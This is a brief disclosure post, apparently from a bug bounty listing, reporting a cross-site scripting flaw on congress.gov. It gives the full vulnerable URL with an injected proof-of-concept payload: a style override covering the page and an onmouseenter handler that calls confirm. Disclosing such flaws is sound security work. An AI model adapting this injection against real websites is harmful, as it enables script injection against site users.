congress.gov XSS vulnerability

Vulnerable URL: https://www.congress.gov/bill/114th-congress/senate-bill/3542/cosponsors?q="search":"S.+3542"=1"/Style=position:fixed;top:0;left:0;font-size:999px;/Onmouseenter=confirmOPENBUGBOUNTY//"' /Style=position:fixed;top:0;left:0;font-size:999px; /Onmouseenter=confirmOPENBUGBOUNTY //...